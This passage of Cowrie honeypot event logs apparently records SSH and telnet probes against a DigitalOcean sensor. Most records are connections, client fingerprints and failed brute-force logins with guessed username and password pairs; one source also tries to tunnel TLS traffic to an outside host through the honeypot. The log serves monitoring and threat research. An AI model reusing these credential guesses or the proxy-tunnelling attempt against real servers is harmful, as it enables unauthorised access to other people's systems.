x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.055948Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"00","message":"login attempt [ubuntu/00] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.213933Z","src_ip":"91.92.40.36","session":"028244b00e4f","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"113.164.152.20","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.329591Z","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.597718Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xf2aB\\xe0\\xba\\xdf\\x9a\\x0c\\x16\\xd7\\xb3\\xe2,\\xda\\x1a[\\xf7\\xbd\\x15\\x8c\\x0fL{\\x01\\xbb\\xd8\\xbaE\\x1f\\xad\\xec \\x1br\\xbaf\\xdb\\xad\\x02b\\xe4\\x1as\\x03\\x08\\x80\\xc7\\xdc\\xf8\\t\\xb2\\xef9\\xba\\x8c\\x05\\x8flQ*0J\\x862\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 7\\xf8QU\\xa1\\xfeZ\\xd1M\\xa1w\\x9c?\\xf40-o{\\xae\\x8b\\x92\\xc3i\\x11\\xa2\\xf2\\x06\\xd3\\xebj\\xd1B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\xe5\\xf2aB\\xe0\\xba\\xdf\\x9a\\x0c\\x16\\xd7\\xb3\\xe2,\\xda\\x1a[\\xf7\\xbd\\x15\\x8c\\x0fL{\\x01\\xbb\\xd8\\xbaE\\x1f\\xad\\xec \\x1br\\xbaf\\xdb\\xad\\x02b\\xe4\\x1as\\x03\\x08\\x80\\xc7\\xdc\\xf8\\t\\xb2\\xef9\\xba\\x8c\\x05\\x8flQ*0J\\x862\\x00\"\\xea\\xea\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x15\\x00\\x13\\x00\\x00\\x10tff.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08jj\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)jj\\x00\\x01\\x00\\x00\\x1d\\x00 7\\xf8QU\\xa1\\xfeZ\\xd1M\\xa1w\\x9c?\\xf40-o{\\xae\\x8b\\x92\\xc3i\\x11\\xa2\\xf2\\x06\\xd3\\xebj\\xd1B\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xaa\\xaa\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x1a\\x1a\\x00\\x01\\x00\\x00\\x15\\x00\\xc8\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:48.601075Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.7","message":"Connection lost after 4.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:49.012023Z","src_ip":"113.164.152.20","session":"d761becd6fd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":55388,"dst_ip":"159.203.135.109","dst_port":22,"session":"72276bd97e75","protocol":"ssh","message":"New connection: 91.92.40.36:55388 (159.203.135.109:22) [session: 72276bd97e75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:51.322096Z"}
{"eventid":"cowrie.session.closed","duration":"13.8","message":"Connection lost after 13.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:51.693961Z","src_ip":"91.92.40.36","session":"028244b00e4f","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:53.271488Z","src_ip":"91.92.40.36","session":"72276bd97e75","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:53.275126Z","src_ip":"91.92.40.36","session":"72276bd97e75","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"Administrator","message":"login attempt [ubuntu/Administrator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:53.962003Z","src_ip":"91.92.40.36","session":"484f1bef5ab2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"13.3","message":"Connection lost after 13.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:57.468205Z","src_ip":"91.92.40.36","session":"484f1bef5ab2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59082,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed9c8c4d17e1","protocol":"ssh","message":"New connection: 91.92.40.36:59082 (159.203.135.109:22) [session: ed9c8c4d17e1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:50:58.045427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:00.194513Z","src_ip":"91.92.40.36","session":"ed9c8c4d17e1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:00.198847Z","src_ip":"91.92.40.36","session":"ed9c8c4d17e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"chiye1","password":"chiye1","message":"login attempt [chiye1/chiye1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:02.611475Z","src_ip":"91.92.40.36","session":"72276bd97e75","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":59100,"dst_ip":"159.203.135.109","dst_port":22,"session":"cefc90c1aeba","protocol":"ssh","message":"New connection: 91.92.40.36:59100 (159.203.135.109:22) [session: cefc90c1aeba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:04.226736Z"}
{"eventid":"cowrie.session.closed","duration":"14.5","message":"Connection lost after 14.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:05.805942Z","src_ip":"91.92.40.36","session":"72276bd97e75","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:06.333270Z","src_ip":"91.92.40.36","session":"cefc90c1aeba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:06.338100Z","src_ip":"91.92.40.36","session":"cefc90c1aeba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.23.66.112","src_port":43524,"dst_ip":"10.17.0.5","dst_port":23,"session":"d183f5d432ee","protocol":"telnet","message":"New connection: 94.23.66.112:43524 (10.17.0.5:23) [session: d183f5d432ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:09.540593Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":20228,"dst_ip":"159.203.135.109","dst_port":22,"session":"8841d3e4edc0","protocol":"ssh","message":"New connection: 91.92.40.36:20228 (159.203.135.109:22) [session: 8841d3e4edc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:11.269214Z"}
{"eventid":"cowrie.login.failed","username":"git","password":"wasd","message":"login attempt [git/wasd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:12.256231Z","src_ip":"91.92.40.36","session":"ed9c8c4d17e1","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:13.463965Z","src_ip":"91.92.40.36","session":"8841d3e4edc0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:13.467311Z","src_ip":"91.92.40.36","session":"8841d3e4edc0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":52412,"dst_ip":"10.17.0.5","dst_port":22,"session":"69e85c3fa602","protocol":"ssh","message":"New connection: 103.122.221.179:52412 (10.17.0.5:22) [session: 69e85c3fa602]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:14.331975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:14.336775Z","src_ip":"103.122.221.179","session":"69e85c3fa602","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:14.579336Z","src_ip":"103.122.221.179","session":"69e85c3fa602","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"171bezxonz","message":"login attempt [root/171bezxonz] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:15.321348Z","src_ip":"103.122.221.179","session":"69e85c3fa602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:16.566055Z","src_ip":"103.122.221.179","session":"69e85c3fa602","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"18.7","message":"Connection lost after 18.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:16.728693Z","src_ip":"91.92.40.36","session":"ed9c8c4d17e1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"user123456","message":"login attempt [ubuntu/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:17.361362Z","src_ip":"91.92.40.36","session":"cefc90c1aeba","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":25516,"dst_ip":"159.203.135.109","dst_port":22,"session":"50344e01ca2a","protocol":"ssh","message":"New connection: 91.92.40.36:25516 (159.203.135.109:22) [session: 50344e01ca2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:18.161566Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:51:21.000110Z","src_ip":"91.92.40.36","session":"50344e01ca2a","protocol":"ssh"}
